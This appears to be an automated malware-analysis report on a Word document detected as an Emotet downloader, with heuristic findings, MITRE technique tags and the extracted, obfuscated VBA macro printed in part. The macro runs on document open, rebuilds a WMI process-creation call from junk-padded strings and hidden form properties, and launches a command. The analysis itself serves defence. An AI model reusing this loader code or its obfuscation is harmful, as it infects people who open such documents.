MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample contains a VBA macro that is triggered by the Document_Open event. Heuristics indicate this macro acts as a command stager, utilizing CreateObject and UserForm properties to execute code. ClamAV detection explicitly identifies it as 'Doc.Downloader.Emotet-9253694-1', strongly suggesting Emotet family and a downloader functionality. The VBA code's obfuscated nature and use of `CreateObject` point towards downloading and executing a secondary payload.
Heuristics 7
-
ClamAV: Doc.Downloader.Emotet-9253694-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-9253694-1
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4858 bytes |
SHA-256: 0f011af44b44bbabd06ee1e38835383d0a7e03cd76deb5a0c1dc723a2ec65469 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "LQWUXmthagedfffi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
GRACIdnteqssfegkow.OPPSTnqvdvwpx
End Sub
Attribute VB_Name = "GRACIdnteqssfegkow"
Attribute VB_Base = "0{03B95051-F5ED-4FB3-95B2-AC26ED2D0B56}{7FB6FEE0-C103-4566-B70D-9DB49F85B922}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function OPPSTnqvdvwpx()
Dim bnIC7BXFP As Integer
bnIC7BXFP = Len("k3ßiBgT8Ö")
Dim ql4ÍkHo As Integer
ql4ÍkHo = 1
Do While ql4ÍkHo < 1 + 3
ql4ÍkHo = ql4ÍkHo + 7: DoEvents
Loop
Dim VnTGhD As Integer
VnTGhD = 6
Do While VnTGhD < 6 + 9
VnTGhD = VnTGhD + 6: DoEvents
Loop
BVFJOoknisbrlvxd = Chr(GRACIdnteqssfegkow.Zoom + ((30 + 60 + 30) / (4 + 4)))
Dim EWsakgGped As Integer
EWsakgGped = 1
Do While EWsakgGped < 1 + 4
EWsakgGped = EWsakgGped + 9: DoEvents
Loop
YFPIAbifuuwm = "7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dw7892HJGgghjgJH%789H h&219yhuid2di7892HJGgghjgJH%789H h&219yhuid2dnm7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dgm7892HJGgghjgJH%789H h&219yhuid2dt7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d" + BVFJOoknisbrlvxd + "7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d:7892HJGgghjgJH%789H h&219yhuid2dw7892HJGgghjgJH%789H h&219yhuid2din7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d37892HJGgghjgJH%789H h&219yhuid2d27892HJGgghjgJH%789H h&219yhuid2d_7892HJGgghjgJH%789H h&219yhuid2d" + GRACIdnteqssfegkow.FTYXAqgwdodvq + "7892HJGgghjgJH%789H h&219yhuid2dro7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dce7892HJGgghjgJH%789H h&219yhuid2ds7892HJGgghjgJH%789H h&219yhuid2ds7892HJGgghjgJH%789H h&219yhuid2d"
Dim t5àCoPkgj As Integer
t5àCoPkgj = 4
Do While t5àCoPkgj < 4 + 6
t5àCoPkgj = t5àCoPkgj + 7: DoEvents
Loop
MFMGBnvbddcecae = IBVOMxkozqmnelval(YFPIAbifuuwm)
Dim pibFblq As String
Set VHCWBvxzomrkvfzbmu = CreateObject(MFMGBnvbddcecae)
Dim WGu8ÍyhtN As Integer
WGu8ÍyhtN = Len("OVnLrCFgBv")
JXDSMnnhskspjliq = GRACIdnteqssfegkow.ANAHYhahhygywek.ControlTipText
Dim lqrqsHrC As Object
AUJUImokgncuxaprh = kljiqbbn2m + (MFMGBnvbddcecae + BVFJOoknisbrlvxd + GRACIdnteqssfegkow.RCGCNlotpzypgkzodsf.ControlTipText + JXDSMnnhskspjliq)
Dim Z4Öf As Object
GEBMPkgqnetfn = AUJUImokgncuxaprh + GRACIdnteqssfegkow.FTYXAqgwdodvq
Dim Br1ÚYapZkp As Integer
Br1ÚYapZkp = Len("BoYNMC")
Set CBICCpoqaxntdscxi = YXTTZddyukchdaij(GEBMPkgqnetfn)
Dim Q7Ìl8ÉD0Êau As Boolean
pos76 = Array(dccv21s + "nnsk ioqy hhdq hdioqe", VHCWBvxzomrkvfzbmu. _
Create(YCXPOnvugoxog, WDYFNroaebwizuj, CBICCpoqaxntdscxi), vkq37y + "klq whuiqguiq ggqj")
Dim GpnGklo As Integer
GpnGklo = Len("dhL8ÇZ5ß")
End Function
Function YXTTZddyukchdaij(FCSOVtotuakltfzpyoh)
Set YXTTZddyukchdaij = CreateObject(FCSOVtotuakltfzpyoh)
Dim TZagwF As Currency
YXTTZddyukchdaij. _
showwindow = UODQIxvrdxfzjfcer + IOISHyutgdea + MLRSDgvbyihc
Dim EWCoPkgjbA As Integer
EWCoPkgjbA = Len("jWG")
End Function
Function IBVOMxkozqmnelval(AKZTHbncmriab)
FQCPHlpoydfpcvvspv = AKZTHbncmriab
Dim moR7ÒWhdDBb As Integer
moR7ÒWhdDBb = 6
Do While moR7ÒWhdDBb < 6 + 5
moR7ÒWhdDBb = moR7ÒWhdDBb + 6: DoEvents
Loop
CEEAFcsnaedsfmbrweu = Split _
(FQCPHlpoydfpcvvspv, "7892HJGgghjgJH%789H h&219yhuid2d")
Dim aVXl As Integer
aVXl = 7
Do While aVXl < 7 + 5
aVXl = aVXl + 8: DoEvents
Loop
MGEXSwnrhbcbgylc = mmm2 + Join(CEEAFcsnaedsfmbrweu, ooo3)
Dim yeECcb As Integer
yeECcb = Len("rdoJD")
IBVOMxkozqmnelval = MGEXSwnrhbcbgylc
Dim GZwfTDr7â As Integer
GZwfTDr7â = 6
Do While GZwfTDr7â < 6 + 5
GZwfTDr7â = GZwfTDr7â + 6: DoEvents
Loop
End Function
Function YCXPOnvugoxog()
Dim HC0ËhElyrR As Integer
HC0ËhElyrR = 5
Do While HC0ËhElyrR < 5 + 3
HC0ËhElyrR
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.